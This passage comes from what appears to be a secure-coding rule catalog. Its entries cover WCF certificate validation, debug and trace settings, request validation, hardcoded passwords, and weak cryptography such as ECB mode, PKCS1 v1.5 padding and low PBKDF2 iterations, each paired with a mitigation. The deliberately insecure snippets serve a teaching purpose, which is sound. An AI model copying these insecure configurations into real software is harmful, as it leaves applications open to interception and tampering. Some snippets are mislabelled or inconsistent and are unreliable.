during connection and the user agents, browsers, apply various check mechanisms to make sure that the user is connecting to a valid domain. A few of these checks;

- The domain name on the certificate should match the target domain name that the user wants to connect
- The certificate shouldn't be expired
- The certificate shouldn't be revoked
- The certificate should be signed with a valid certificate authority (prebuilt into the browsers)

If any of these checks fail, the end user is presented an interface saying that the connection isn't secure. This warning interface is the single most important warning medium for the end users against attackers executing man in the middle attacks using hacking techniques such as ARP poisoning.

Sometimes, we write code connecting to a test server during testing which has a self-signed SSL certificate. The self-signed SSL certificates can't provide the security assurance that the above controls want to assure, however, SSL certificates are somewhat expensive and needs time to acquire. So during test process self-signed SSL certificates are installed into the test servers.

WCF services that connects to one of these test servers fail miserably because of the the last control listed above. In order to "fix" this, you can temporarily disable the mechanism that checks the chain of trust for a certificate. To do this, set the *CertificateValidationMode* property to one of unsafe values, which specifies that the certificate can either be self-issued (peer trust) or part of a chain of trust.

For example;

```
<system.serviceModel>
  <behaviors>
    <endpointBehaviors>
      <behavior>
        <clientCredentials>
          <serviceCertificate>
              <authentication certificateValidationMode="PeerTrust"/>
          </serviceCertificate>
        </clientCredentials>
      </behavior>
```

	</endpointBehaviors> … Another possible place for these unsafe values; <system.serviceModel> <behaviors> <endpointBehaviors> <behavior> <clientCredentials> <peer> <peerAuthentication certificateValidationMode="PeerTrust"/> </peer> ... Yet another one; <system.serviceModel> <behaviors> <endpointBehaviors> <behavior> <clientCredentials> <peer> <messageSenderAuthentication certificateValidationMode="PeerTrust"/> </peer> ... Possible unsafe values for certificateValidationMode are; ● None ● PeerTrust ● PeerOrChainTrust
Mitigation	Custom SSL validation configuration should only be used for testing purposes, it shouldn't be part of production code. The default SSL validation checks should be used for phone native applications or server side code.
References	● CWE-295 ● HIPAA Security Rule 45 CFR 164.312(e)(2)(i) ● HIPAA Security Rule 45 CFR 164.312(e)(2)(ii) ● OWASP Top 10 A6 ● PCI DSS 6.5.4

WCF Unsafe Debug Directive

Title	WCF Unsafe Debug Directive
Summary	Detailed error messages may allow attackers to deduce internal details of an application that will leverage further attacks
Severity	Low
Cost Fix	Low
Trust Level	High
ID	

Description	Presenting detailed error messages is always advantageous for developers to understand the root reason of a development or a production bug.
	
	However, the same is true for attackers. An attacker presented a detailed exception will abuse it for a huge range of vulnerabilities; all injection types of vulnerabilities, padding oracle, business logic problems, mass assignment etc.
	
	Here's an insecure WCF debug directive;
	
	`<system.serviceModel>`
	`<behaviors>`
	`<serviceBehaviors>`
	`<behavior>`
	`<serviceDebug includeExceptionDetailInFaults="true"/>`
	`</behavior>`
	`</serviceBehaviors>`
	…

Mitigation	WCF servicedebug element should have a false includeExceptionsDetailInFaults value before deployment to avoid disclosing detailed exception information.
References	• CWE-215 • HIPAA Security Rule 45 CFR 164.306(a)(3) • HIPAA Security Rule 45 CFR 164.312(a)(1) • OWASP Top 10 A5

	• PCI DSS 6.5.5

WCF Unsafe Metadata Publishing

Title	WCF Unsafe Metadata Publishing
Summary	Detailed metadata information of an application endpoints may allow attackers to deduce internal details of an application that will leverage further attacks
Severity	Medium
Cost Fix	Low
Trust Level	High
ID	

Description	Publishing metadata allows clients to retrieve the service description information using a WS-Transfer GET request or an HTTP(S)/GET request with or without using the ?wsdl query string such as below;
	
	http://www.vulnerable.com/customer.svc?wsdl
	
	or just,
	
	http://www.vulnerable.com/customer.svc
	
	Here's an insecure WCF service metadata directive;
	
	<system.serviceModel>
	<behaviors>
	<serviceBehaviors>
	<behavior>
	<serviceMetadata httpGetEnabled="true" httpsGetEnabled="true"/>
	…
	
	Same effect with code;
	
	try
	{
	var smb = svcHost.Description.Behaviors.Find<ServiceMetadataBehavior>();

	if (smb == null)
	{
	smb = new ServiceMetadataBehavior();
	}
	smb.HttpGetEnabled = true;
	svcHost.Description.Behaviors.Add(smb);
	...

Mitigation	WCF *serviceMetadata* element's *http(s)GetEnabled* attributes should have a false value before deployment to avoid disclosing detailed metadata information about the service.
References	• CWE-200 • HIPAA Security Rule 45 CFR 164.306(a)(3) • HIPAA Security Rule 45 CFR 164.312(a)(1) • OWASP Top 10 A5 • PCI DSS 6.5.8

Unsafe Debug Directive

Title	Unsafe Debug Directive
Summary	Detailed error or normal process messages may allow attackers to deduce internal details of an application that will leverage further attacks
Severity	Low
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	.NET
Presenting detailed error messages is always advantageous for developers to understand the root reason of a development or a production bug. However, the same is true for attackers. An attacker presented a detailed exception will abuse it for a huge range of vulnerabilities; all injection types of vulnerabilities, padding	

oracle, business logic problems, mass assignment etc.

ASP.NET has a configuration directive, compilation, whose debug attribute value specifies whether to compile debug binaries rather than retail binaries if set to true, which is the default value. Debug binaries giveaway detailed debugging messages.

Here's an insecure Web.config debug directive;

```
<configuration>
  <system.web>
    <compilation debug="true" targetFramework="4.6.1" />
  ...
```

Technology	ANDROID

Presenting detailed error messages is always advantageous for developers to understand the root reason of a development or a production bug.

However, the same is true for attackers. An attacker presented a detailed exception will abuse it for a huge range of vulnerabilities; all injection types of vulnerabilities, business logic problems, reversing etc.

```
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
          package="com.myapp.play"
          android:versionCode="1"
          android:versionName="1.0" >
  <application
          android:debuggable="true"
          android:allowBackup="true"
          android:icon="@drawable/ic_launcher"
          android:label="@string/app_name"
          android:theme="@style/AppTheme" >
…
```

Mitigation

Technology	.NET

ASP.NET configurations *compilation* element should have a false *debug* value before deployment to avoid including detailed debugging information in the production binaries.

Technology	ANDROID

AndroidManifest.xml should not contain android:debuggable attribute at all or it should contain with a false value. <?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.myapp.play" android:versionCode="1" android:versionName="1.0" > <application android:debuggable="false" android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" > …

References	• CWE-215 • HIPAA Security Rule 45 CFR 164.306(a)(3) • HIPAA Security Rule 45 CFR 164.312(a)(1) • OWASP Top 10 A5 • OWASP Top 10 M9 • PCI DSS 6.5.5

Unsafe Trace Directive

Title	Unsafe Trace Directive
Summary	Detailed trace debugging messages may allow attackers to deduce internal details of an application that will leverage further attacks
Severity	Low
Cost Fix	Low
Trust Level	High
ID	
Description	Presenting detailed debugging messages through ASP.NET tracing is always advantageous for developers to understand the root reason of a development or a production bug. However, the same is true for attackers. An attacker presented a detailed

	exception will abuse it for a huge range of vulnerabilities; all injection types of vulnerabilities, padding oracle, business logic problems, mass assignment etc.
	
	ASP.NET has a configuration directive, trace, which displays troubleshoooting information (top n requests, server variables, etc.) about the current request and the page at the bottom of individual pages. When debugging a problem is not an option, such as in production, tracing might help pinpointing a pesky error.
	
	Here's an insecure Web.config tracing directive;
	
	`<configuration>`
	`  <system.web>`
	`  <trace enabled="true" requestLimit="40" localOnly="false" />`
	`  </system.web>`
	`  …`
	
	While it's possible to disable/enable tracing for all the application through Web.config, however it's also possible to enable/disable trace for individual pages and this page directive takes precedence over attributes set in Web.config;
	
	`<%@ Page Trace="true" %>`
	
	While page tracing is possible for ASP.NET WebForms application it is also possible to print out tracing information in ASP.NET MVC applications, too, with a few options. One of them is shown below using Web.config configuration file;
	
	`<system.codedom>`
	`  <compilers>`
	`  <compiler language="c#;cs;csharp" extension=".cs" type="..."`
	`  compilerOptions="/define:TRACE" warningLevel="1" />`
	`  </compilers>`
	`...`

Mitigation	ASP.NET configurations *trace* element should have a false *enabled* value before deployment to avoid including detailed troubleshooting information in the page outputs.
References	• CWE-200 • HIPAA Security Rule 45 CFR 164.306(a)(3) • HIPAA Security Rule 45 CFR 164.312(a)(1) • OWASP Top 10 A5

	• PCI DSS 6.5.5

Disabled Request Validation

Title	Disabled Request Validation
Summary	The attacker can tamper HTTP parameters and trigger certain attack vectors by bypassing framework internal validation
Severity	High
Cost Fix	Low
Trust Level	High
ID	
Description	There are input validation strategies used for security; • Whitelisting • Blacklisting • Sanitization • Encoding ASP.NET has an internal and enabled by default security filter that does use of blacklisting against incoming HTTP requests. This security filter is called Request Validation and whenever a request contains a blacklisted rule (such as, a parameter value starts with a < character) then it triggers an error instead of going into the application. Since it's blacklisting sometimes this mechanism produces false positives. Meaning the legal input gets caught and returns error messages to valid users. Then it may seem logical to disable request validation. However if the application doesn't have any solid input validation strategy implemented, then the last defence (blacklisting), albeit a weak one, is also get shutdown. This may leave application open to various syntactic vulnerabilities. <configuration> <system.web> <pages validateRequest="false" />

	</system.web>
	</configuration>
	
	The event validation can also be disabled in aspx pages individually;
	
	<@ Page validateRequest="false" %>
	
	Request validation is disabled using annotations in code in ASP.NET MVC applications;
	
	[HttpPost]
	[ValidateInput(false)]
	public ActionResult Edit(string comment)
	{
	// ...
	return View(comment);
	}

Mitigation	In general .NET framework is secure by default, which means the features are deployed in a secure configurational and runtime defaults. By default the validation of server control data such as of comboboxes are being checked against tampering and it should stay that way. Disabling the event validation will open new venues for attackers for parameter manipulation.
References	• CWE-20 • HIPAA Security Rule 45 CFR 164.308(a)(5)(ii)(B) • OWASP Top 10 A5

Disabled Signature Validation

Title	Disabled Signature Validation
Summary	The attacker can tamper ViewState, Forms cookies content resulting putting fraudulent values in WebForms components, changing the state and forge requests
Severity	High
Cost Fix	Medium

Trust Level	High
ID	
Description	ASP.NET verifies signature verification when it receives viewstate values, forms authentication cookies that it produces and sends to client before. ViewState is one of the most important aspects of ASP.NET WebForms applications as with forms authentication cookies both for ASP.NET WebForms and MVC applications that should not be tampered and forged by the attackers. This integrity verification can be disabled with a configuration directive below; <appSettings> <add key="aspnet:UseLegacyEncryption" value="true" /> </appSettings>
Mitigation	In general .NET framework is secure by default, which means the features are deployed in a secure configurational and runtime defaults. By default the integrity of sensitive client side data is being ensured and they should stay secure.
References	• CWE-642 • HIPAA Security Rule 45 CFR 164.312(c)(2) • OWASP Top 10 A5 • OWASP Top 10 A6 • PCI DSS 6.5.3

WCF Unsafe Documentation Protocol

Title	WCF Unsafe Documentation Protocol
Summary	Detailed documentation information of an application endpoints may allow attackers to deduce internal details of an application that will leverage further attacks
Severity	Medium
Cost Fix	Low

Trust Level	High
ID	
Description	ASP.NET Web services facilitate the development of Web services clients by automatically generating documentation that describes how to communicate with the Web service. Web services that have the documentation protocol enabled generate an HTML-formatted page when a browser request is received. This HTML-formatted page describes the following information: ● The operations that are supported ● The parameters that each operation accepts ● The type of data that should be passed in those parameters The documentation protocol also generates an XML-formatted Web Services Description Language (WSDL) file. This file is designed to allow applications to understand how to structure requests to the Web service. This information can be very useful to developers, especially developers who create clients for public Web services. However, revealing detailed information about the functionality of private Web services increases the risk that the Web service will be misused by a malicious attacker. The Documentation protocol always describes all functions and parameters of a Web service — even if only a subset of those functions are intended to be publicly accessible.
Mitigation	The following addition to Web.config file will disable the automatic generation of browser and attacker friendly documentation. <system.web> <compilation debug="true" targetFramework="4.6.1" /> <httpRuntime targetFramework="4.6.1"/> <webServices> <protocols> <remove name="Documentation"/> </protocols> </webServices> …
References	● KB-815149 ● HIPAA Security Rule 45 CFR 164.306(a)(3) ● HIPAA Security Rule 45 CFR 164.312(a)(1)

	• OWASP Top 10 A5 • PCI DSS 6.5.8

Hardcoded Password in Configuration

Title	Hardcoded Password in Configuration
Summary	Hardcoded passwords are prohibited by various security standards
Severity	Medium
Cost Fix	Medium
Trust Level	Low
ID	

Description	It may seem a good idea to keep a password in the configuration file, as long as it's not in the code.
	
	Because this method of storing seems to be very convenient, simple and secure. However, there are a substantial amount of standards (such as PCI-DSS, HIPAA, SOX etc.) that have put rules against this style of coding. Moreover, it's in fact hard to maintain a password this way since the password might change or locked, as such needs maintenance.
	
	Additionally, if a hacker somehow successfully gathers a piece of the code, he will eventually get the hardcoded password. GitHub is one example of medium where a lot of software projects have hardcoded passwords stored in the configuration.
	
	Although keeping any type of credentials in a configuration file is more secure than keeping them in the code, there are still a large room of improvement when storing credentials in a secure way is the focus.
	
	`<configuration>`
	`  <appSettings>`
	`    <add key="password" value="mPas$$W00rd" />`
	`    <add key="secret" value="" />`
	`  </appSettings>`

Mitigation	Try not to put credentials such as service account passwords in the configuration file. There are security standards to be in compliant that prohibit this. Then of course the question arises; where should we keep the passwords and more importantly how should we keep them safely? In .NET there's DPAPI that a developer or an application administrator can use for storing credentials in Web.config file encrypted in a transparent way.
References	● CWE-260 ● HIPAA Security Rule 45 CFR 164.308(a)(5)(ii)(D) ● HIPAA Security Rule 45 CFR 164.312(e)(2)(ii) ● OWASP Top 10 A6 ● PCI DSS 6.5.3

Cryptography

Hardcoded Password

Title	Hardcoded Password
Summary	Hardcoded passwords are prohibited by various security standards, but also a bad practice since a successful hack attempt can be used against developers knowing the production passwords
Severity	High
Cost Fix	Medium
Trust Level	Low
ID	
Description	
Technology	.NET
It's very attractive to keep a service account's password in the code. Because this method of storing seems to be very convenient and simple. However, there are a substantial amount of standards (such as PCI-DSS, HIPAA, SOX etc.) that have put rules against this style of coding. Moreover, it's in fact hard to maintain a password this way since the password might change or locked, as such needs maintenance. Additionally, if a hacker somehow successfully gathers a piece of the code, he will eventually get the hardcoded password. GitHub is full of software projects with hardcoded passwords stored in the code.	
Technology	JAVA, ANDROID
It's very attractive to keep a service account's password in the code. Because this method of storing seems to be very convenient and simple. However, there are a substantial amount of standards (such as PCI-DSS, HIPAA, SOX etc.) that have put rules against this style of coding. Moreover, it's in fact hard to maintain a password this way since the password might change or locked, as such needs maintenance. Additionally, if a hacker somehow successfully gathers a piece of the code, he will	

eventually get the hardcoded password. GitHub is full of software projects with hardcoded passwords stored in the code.

Mitigation	
Technology	.NET

Don't put credentials such as service users' passwords in the code. There are security standards to be in compliant that prohibit this. Moreover, for worse, as a developer we don't want to be accused of a successful hack just because we know a production password.

Once this decision is being made, the question arises; where should we keep the passwords and more importantly how should we keep them safely? In .NET there's DPAPI that a developer or an application administrator can use for storing credentials in Web.config file encrypted in a transparent way.

In cryptography, managing keys is a very hard topic to tackle with. Most of the time when storing the key protecting passwords on web server, application server, directory server or database server is not considered to be safe and compliant, Hardware Security Modules (HSM) are advised to manage application keys whenever required and appropriate.

However, storing passwords that protects encryption keys in permission-restricted and constantly monitored files, database tables should be enough most of the cases.

Technology	JAVA, ANDROID

Don't put credentials such as service users' passwords in the code. There are security standards to be in compliant that prohibit this. Moreover, for worse, as a developer we don't want to be accused of a successful hack just because we know a production password.

Once this decision is being made, the question arises; where should we keep the passwords and more importantly how should we keep them safely? Unlike .NET DPAPI, Java doesn't provide an internal, transparent and easy way of encryption/decryption method. However there is a wrapper around Microsoft DPAPI, JDPAPI, for Java platforms on Windows systems.

In cryptography, managing keys is a very hard topic to tackle with. Most of the time when storing the key protecting passwords on web server, application server, directory server or database server is not considered to be safe and compliant, Hardware Security Modules (HSM) are advised to manage application keys whenever required and appropriate.

However, storing passwords that protects encryption keys in permission-restricted and

constantly monitored files, database tables should be enough most of the cases.	
References	• CWE-259 • CWE-798 • CWE-321 • HIPAA Security Rule 45 CFR 164.308(a)(5)(ii)(D) • HIPAA Security Rule 45 CFR 164.312(a)(2)(iv) • HIPAA Security Rule 45 CFR 164.312(e)(2)(ii) • OWASP Top 10 A6 • PCI DSS 6.5.3

User Driven Insecure Hash Algorithm

Title	User Driven Insecure Hash Algorithm
Summary	By selecting the hash algorithm used, an attacker can break the hash algorithm used and find the original plain text or an alternative plain text having the same hash value
Severity	Critical
Cost Fix	Low
Trust Level	High
ID	
Description	
Technology	.NET

Cryptographic hash algorithms take an input and produce fixed-size (such as 56 bit, 128 bit, etc.) output. The basic premise of cryptographic hash algorithms is that from the hash output, it's not possible to restore the input. Another basic premise of hashing algorithms is that it shouldn't be possible to find two different input values that can generate the same hash value. Moreover, it should be hard to find another input different than the original input of which the hash value is given. Here are the premise names in order;

- collision resistance
- preimage resistance
- second preimage resistance

Hash algorithms that were proven to be secure in early times are announced to be insecure with time passing. MD5 or SHA-1 are two examples of these broken cryptographic hash algorithms.

Using weak hash algorithms will create a false sense of security. We would think that our hashed data will never be transformed back into original input and stay hashed as long as we want, however that wouldn't be true if we don't use solid cryptographic hash algorithms.

The user who was given the ability to select the hash algorithm to be used may select a weak hash algorithm such as MD5 or SHA-1 for his advantage.

```
string selectedHashAlgorithm= Request["selected_hash"];
var hashAlgorithm = HashAlgorithm.Create(selectedHashAlgorithm);
```

The above code decides on the cryptographic hash algorithm that will be used by the input from the user, probably from a combo-box. The user might send a weak cryptographic hash algorithm that might not be on the list.

Technology	JAVA

Cryptographic hash algorithms take an input and produce fixed-size (such as 56 bit, 128 bit, etc.) output. The basic premise of cryptographic hash algorithms is that from the hash output, it's not possible to restore the input. Another basic premise of hashing algorithms is that it shouldn't be possible to find two different input values that can generate the same hash value. Moreover, it should be hard to find another input different than the original input of which the hash value is given. Here are the premise names in order;

- collision resistance
- preimage resistance
- second preimage resistance

Hash algorithms that were proven to be secure in early times are announced to be insecure with time passing. MD5 or SHA-1 are two examples of these broken cryptographic hash algorithms.

Using weak hash algorithms will create a false sense of security. We would think that our hashed data will never be transformed back into original input and stay hashed as long as we want, however that wouldn't be true if we don't use solid cryptographic hash algorithms.

The user who was given the ability to select the hash algorithm to be used may select a weak hash algorithm such as MD5 or SHA-1 for his advantage.

```
string selectedHashAlgorithm= request.getParameter(“selected_hash”);
MessageDigest mdaAlg = MessageDigest.getInstance(selectedHashAlgorithm);
byte[] hashBytes = mdaAlg.digest(text.getBytes("UTF-8"));
```

The above code decides on the cryptographic hash algorithm that will be used by the input from the user, probably from a combo-box. The user might send a weak cryptographic hash algorithm that might not be on the list.

Mitigation	
Technology	.NET
Cryptographic hash algorithms shouldn’t be created dynamically. If there is a requirement for such a condition, there should be a whitelist of strong cryptographic hashing algorithms such as below that can be used in the code. ● system.security.cryptography.SHA256CryptoServiceProvider ● system.security.cryptography.SHA384CryptoServiceProvider ● system.security.cryptography.SHA512CryptoServiceProvider	
Technology	JAVA
Cryptographic hash algorithms shouldn’t be created dynamically. If there is a requirement for such a condition, there should be a whitelist of strong cryptographic hashing algorithms such as below that can be used in the code. ● SHA-256 ● SHA-384 ● SHA-512	
References	● CWE-326 ● CWE-327 ● HIPAA Security Rule 45 CFR 164.312(a)(2)(iv) ● HIPAA Security Rule 45 CFR 164.312(c)(2) ● HIPAA Security Rule 45 CFR 164.312(e)(2)(ii) ● OWASP Top 10 A6 ● PCI DSS 6.5.3

Insecure RSA Padding

Title	Insecure RSA Padding
Summary	The attacker spends less effort to deduce patterns from the encrypted text or completely recovering the original plaintext.
Severity	Critical
Cost Fix	High
Trust Level	High
ID	

Description

Technology	.NET

Usage of RSA algorithm without a secure padding makes it easier for an attacker to apply a number of attacks on the implementation. This is due to deterministic feature of not using padding scheme when using the RSA algorithm.

Pkcs1 v1.5 padding mode is used in the code below. In 1998 researchers released a paper on a practical attack against Pkcs1 v1.5 mode used in conjunction with RSA algorithm, namely chosen ciphertext attack. With this proposed attack it was possible to determine whether a decrypted message is valid or not. As a result, for instance, it was possible to extract session keys used in SSL v.3 traffic.

```
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider();
rsa.Encrypt(plaintext, false);
```

Technology	JAVA, ANDROID

Usage of RSA algorithm without a secure padding makes it easier for an attacker to apply a number of attacks on the implemetation. This is due to deterministic feature of not using padding scheme when using the RSA algorithm.

Pkcs1 v1.5 padding mode is used in the code below. In 1998 researchers released a paper on a practical attack against Pkcs1 v1.5 mode used in conjunction with RSA algorithm, namely chosen ciphertext attack. With this proposed attack it was possible to determine whether a decrypted message is valid or not. As a result, for instance, it was possible to extract session keys used in SSL v.3 traffic.

```
Cipher cipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
cipher.init(Cipher.ENCRYPT_MODE, pubk);
```

```
cipher.doFinal(inpBytes);
```

Mitigation	
Technology	.NET

In order to make the ciphertexts less predictable when RSA is applied to a plaintext, Pkcs1 v2.0 padding mode should be used.

```
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider();
rsa.Encrypt(plaintext, RSAEncryptionPadding.OaepSHA256);
```

Even OAEP padding mode (Pkcs1 v2.0), which is the successor of Pkcs1 v1.5, is considered to be insecure by researchers and susceptible to certain attacks. However, there's no other successor padding mode (Pkcs1 v2.2) standard implemented in .NET framework as yet.

Technology	JAVA, ANDROID

In order to make the ciphertexts less predictable when RSA is applied to a plaintext, Pkcs1 v2.0 padding mode should be used.

```
Cipher cipher = Cipher.getInstance("RSA/ECB/OAEPWithSHA-256AndMGF1Padding");
cipher.init(Cipher.ENCRYPT_MODE, pubk);
cipher.doFinal(inpBytes);
```

Even OAEP padding mode (Pkcs1 v2.0), which is the successor of Pkcs1 v1.5, is considered to be insecure by researchers and susceptible to certain attacks. However, there's no other successor padding mode (Pkcs1 v2.2) standard implemented in Java as yet.

References	

- CWE-780
- HIPAA Security Rule 45 CFR 164.312(a)(2)(iv)
- HIPAA Security Rule 45 CFR 164.312(e)(2)(ii)
- OWASP Top 10 A6
- PCI DSS 6.5.3

Insecure Symmetric Encryption Mode - ECB

Title	Insecure Symmetric Encryption Mode - ECB
Summary	The attacker can decrypt supposedly encrypted data or deduce the plain text out of it without having encryption key

Severity	Critical
Cost Fix	Medium
Trust Level	High
ID	
Description	
Technology	.NET

Secure symmetric encryption algorithms are applied to plaintext and produce encrypted output out of which without the encryption key, its is computationally infeasible to find out the plaintext. This is the basic premise of the encryption.

However, in reality there are fail cases where this premise fails miserably. A very good example of these fail cases is using Electronic CodeBook (ECB) mode during symmetric encryption.

ECB is a mode of operation used during symmetric encryption using block ciphers that is algorithms applied on input as blocks. There are more modes of operations such as Cipher Block Chaining (CBC), Cipher Feedback (CFB) etc.

These mode of operations define the style that encryption algorithm (DES, AES, etc.) gets applied onto the input. In ECB, the input is divided into chunks and the algorithm is applied to each chunk separately with the same encryption key. Therefore when two input chunks are same (consist of same bits), then the output is same, too, tough encrypted. This yields to an output which transfers patterns in the input to the output. Having the same patterns, it is easier now to solve or deduce the plaintext from the encrypted text.

```
RijndaelManaged rm = new RijndaelManaged { Mode = CipherMode.ECB};
rm.GenerateKey();
rm.GenerateIV();

ICryptoTransform encryptor = rm.CreateEncryptor(rm.Key, rm.IV);
```

The above code utilizes .NET implementation of AES algorithm called RijndaelManaged with ECB mode.

Note: An advantage of ECB mode of operation is that it can be applied to a single input in parallel. So this process can be very fast since encryption algorithm itself is slow. But this has nothing to do with security.

Technology	JAVA, ANDROID

Secure symmetric encryption algorithms are applied to plaintext and produce encrypted output out of which without the encryption key, its is computationally infeasible to find out the plaintext. This is the basic premise of the encryption.

However, in reality there are fail cases where this premise fails miserably. A very good example of these fail cases is using Electronic CodeBook (ECB) mode during symmetric encryption.

ECB is a mode of operation used during symmetric encryption using block ciphers that is algorithms applied on input as blocks. There are more modes of operations such as Cipher Block Chaining (CBC), Cipher Feedback (CFB) etc.

These mode of operations define the style that encryption algorithm (DES, AES, etc.) gets applied onto the input. In ECB, the input is divided into chunks and the algorithm is applied to each chunk separately with the same encryption key. Therefore when two input chunks are same (consist of same bits), then the output is same, too, tough encrypted. This yields to an output which transfers patterns in the input to the output. Having the same patterns, it is easier now to solve or deduce the plaintext from the encrypted text.

```
Cipher cipher = Cipher.getInstance("AES");
Key secretKey = new SecretKeySpec(confReadKey.getBytes(), "AES");
cipher.init(Cipher.ENCRYPT_MODE, secretKey);
cipher.doFinal(input);
```

```
ICryptoTransform encryptor = rm.CreateEncryptor(rm.Key, rm.IV);
```

The above code utilizes Oracle JAVA implementation of AES algorithm called with ECB mode default. Note that by denoting cipher algorithm name by default uses insecure ECB mode!

Note: An advantage of ECB mode of operation is that it can be applied to a single input in parallel. So this process can be very fast since encryption algorithm itself is slow. But this has nothing to do with security.

Mitigation

Technology	.NET

When using encryption algorithms in block modes, CBC mode should be utilized. The below code utilizes .NET implementation of AES algorithm called RijndaelManaged with CBC mode.

```
RijndaelManaged rm = new RijndaelManaged { Mode = CipherMode.CBC};
rm.GenerateKey();
rm.GenerateIV();
```

In block mode, the input is split into fixed-size chunks and the encryption algorithm is applied separately. In CBC mode every produced chunk as output block becomes an additional input to the other input chunk. Therefore, the patterns in the input will not be transferred into the output.

Technology	JAVA, ANDROID

When using encryption algorithms in block modes, CBC mode should be utilized. The below code utilizes .NET implementation of AES algorithm called RijndaelManaged with CBC mode.

```
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
Key secretKey = new SecretKeySpec(confReadKey.getBytes(), "AES");
cipher.init(Cipher.ENCRYPT_MODE, secretKey);
cipher.doFinal(input);
```

In block mode, the input is split into fixed-size chunks and the encryption algorithm is applied separately. In CBC mode every produced chunk as output block becomes an additional input to the other input chunk. Therefore, the patterns in the input will not be transferred into the output.

References	• CWE-327 • HIPAA Security Rule 45 CFR 164.312(a)(2)(iv) • HIPAA Security Rule 45 CFR 164.312(e)(2)(ii) • OWASP Top 10 A6 • PCI DSS 6.5.3

Insecure Symmetric Encryption Mode - CBC without HMAC

Title	Insecure Symmetric Encryption Mode - CBC without HMAC
Summary	The attacker can decrypt supposedly encrypted data or deduce the plain text out of it without having encryption key
Severity	High
Cost Fix	High

Trust Level	Medium
ID	
Description	
Mitigation	
References	• CWE-327 • HIPAA Security Rule 45 CFR 164.312(a)(2)(iv) • HIPAA Security Rule 45 CFR 164.312(e)(2)(ii) • OWASP Top 10 A6 • PCI DSS 6.5.3

Insecure PBE Work Factor

Title	Insecure PBE Work Factor
Summary	The attacker executing a brute force attack can find original passwords from hashed ones
Severity	High
Cost Fix	High
Trust Level	High
ID	
Description	
Technology	.NET

Cryptographic hash algorithms claim that when applied to a given plain text they will produce non-reversible fixed-size hashes. The basic another premise of these hash algorithms is being fast, very fast.

One of the most important practical attacks against hash functions is called Rainbow Tables. In this attack hackers precompute millions of simple plain text passwords into hashed values and store them offline with hash values to be indexes. This of course creates huge databases in terabytes. However, given a hash value lookup time shortens into milliseconds without even trying to break the algorithm.

One of the mitigations against this attack is using stronger hash algorithms with salt. The salt is added to every input before the hash algorithm is applied and the salt is stored along side with the hashed output. This way the huge pre-built databases of attackers won't help much.

However, with the ever-increasing computational power it is now possible to compute 500 billion hashes in a second using daily cloud resources. Yes, that's right, in a second. Therefore, a slower and adaptive hash algorithm that slows down the attacker should be employed. Password based key derivation function (PBKDF) is one of those algorithms but the work factor determines how slow the algorithm runs. This work-factor shouldn't be low, otherwise, the whole premise of using PBKDF will not be true.
The code below uses a work factor of 5000 that is considered to be insecure.

```
public string ComputeHash(string passwd, string salt)
{
   byte[] saltBytes = Convert.FromBase64String(salt);

   using (var pbkdf2 = new Rfc2898DeriveBytes(passwd, saltBytes,5000))
   {
      var key = pbkdf2.GetBytes(64);
      return Convert.ToBase64String(key);
   }
}
```

Technology	JAVA, ANDROID

Cryptographic hash algorithms claim that when applied to a given plain text they will produce non-reversible fixed-size hashes. The basic another premise of these hash algorithms is being fast, very fast.

One of the most important practical attacks against hash functions is called Rainbow Tables. In this attack hackers precompute millions of simple plain text passwords into hashed values and store them offline with hash values to be indexes. This of course creates huge databases in terabytes. However, given a hash value lookup time shortens into milliseconds without even trying to break the algorithm.

One of the mitigations against this attack is using stronger hash algorithms with salt. The salt is added to every input before the hash algorithm is applied and the salt is stored along side with the hashed output. This way the huge pre-built databases of attackers won't help much.

However, with the ever-increasing computational power it is now possible to compute 500 billion hashes in a second using daily cloud resources. Yes, that's right, in a second.

Therefore, a slower and adaptive hash algorithm that slows down the attacker should be employed. Password based key derivation function (PBKDF) is one of those algorithms but the work factor determines how slow the algorithm runs. This work-factor shouldn't be low, otherwise, the whole premise of using PBKDF will not be true.
The code below uses a work factor of 5000 that is considered to be insecure.

```
char[] passwordChars = password.toCharArray();
byte[] saltBytes = salt.getBytes();

PBEKeySpec spec = new PBEKeySpec(passwordChars, saltBytes, 5000, KEY_LENGTH);

SecretKeyFactory key = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
byte[] hashedPassword = key.generateSecret(spec).getEncoded();
```

Mitigation

Technology	.NET

The code below uses a work factor of 10000 that is considered to be secure at the minimum for 2016. Each year the work factor should be increased in order to keep the time that ComputeHash spends over a fixed value such as 100ms. Therefore, the value to used should be experimented before the actual usage.

Note: Since the whole database can't be made to use an updated work factor (the original password is needed), the users are expected to successfully login to the application for a gradual update.

```
public string ComputeHash(string passwd, string salt)
{
   byte[] saltBytes = Convert.FromBase64String(salt);

   using (var pbkdf2 = new Rfc2898DeriveBytes(passwd, saltBytes,10000))
   {
      var key = pbkdf2.GetBytes(64);
      return Convert.ToBase64String(key);
   }
}
```

Technology	JAVA, ANDROID

The code below uses a work factor of 10000 that is considered to be secure at the minimum for 2016. Each year the work factor should be increased in order to keep the time that ComputeHash spends over a fixed value such as 100ms. Therefore, the value to used should be experimented before the actual usage.

Note: Since the whole database can't be made to use an updated work factor (the original

password is needed), the users are expected to successfully login to the application for a gradual update.

```
char[] passwordChars = password.toCharArray();
byte[] saltBytes = salt.getBytes();

PBEKeySpec spec = new PBEKeySpec(passwordChars, saltBytes, 10000, KEY_LENGTH);

SecretKeyFactory key = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
byte[] hashedPassword = key.generateSecret(spec).getEncoded();
```

References	• CWE-916 • HIPAA Security Rule 45 CFR 164.312(a)(2)(iv) • HIPAA Security Rule 45 CFR 164.312(e)(2)(ii) • OWASP Top 10 A6 • PCI DSS 6.5.3

Insecure Random Number Generator

Title	Insecure Random Number Generator
Summary	The attacker can predict the next generated value before the algorithm produces one
Severity	High
Cost Fix	Medium
Trust Level	Medium
ID	
Description	
Technology	.NET

Producing random values is a usual requirement for software projects. There's no real but pseudo-randomness in computers. Unfortunately pseudorandomness is deterministic (related the computers) and therefore reproducible.

The random (although pseudo) number generator algorithms are usually used to produce secret keys for encryption algorithms. However, they are also used to identify users, such

